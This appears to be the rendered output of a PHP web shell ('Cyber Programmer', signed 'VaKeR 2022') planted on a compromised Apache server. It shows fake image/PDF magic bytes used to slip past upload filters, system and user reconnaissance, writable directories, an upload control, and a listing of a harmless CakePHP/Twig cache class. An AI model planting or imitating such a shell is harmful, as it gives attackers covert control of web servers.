%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Lib/Cache.php
<?php

namespace WyriHaximus\TwigView\Lib;

use Asm89\Twig\CacheExtension\CacheProviderInterface;
use Cake\Cache\Cache as CakeCache;

class Cache implements CacheProviderInterface
{
    const CACHE_PREFIX = 'twig-view-in-template-item-';

    /**
     * Retrieve data from the cache.
     *
     * @param string $identifier Identifier for this bit of data to read.
     *
     * @return mixed
     */
    public function fetch($identifier)
    {
        list($config, $key) = $this->configSplit($identifier);

        return CakeCache::read(static::CACHE_PREFIX . $key, $config);
    }

    /**
     * Extract $configName and $key from $name and $config.
     *
     * @param string $name   Name.
     * @param string $config Cache configuration name to used.
     *
     * @return array
     */
    protected function configSplit($name, $config = 'default')
    {
        if (strpos($name, ':') !== false) {
            $parts = explode(':', $name, 2);
            return $parts;
        }

        return [$config, $name];
    }

    /**
     * Save data to the cache.
     *
     * @param string  $identifier Identifier for this bit of data to write.
     * @param string  $data       Data to cache.
     * @param integer $lifeTime   Time to life inside the cache.
     *
     * @return boolean
     */
    public function save($identifier, $data, $lifeTime = 0)
    {
        list($config, $key) = $this->configSplit($identifier);

        return CakeCache::write(static::CACHE_PREFIX . $key, $data, $config);
    }
}

VaKeR 2022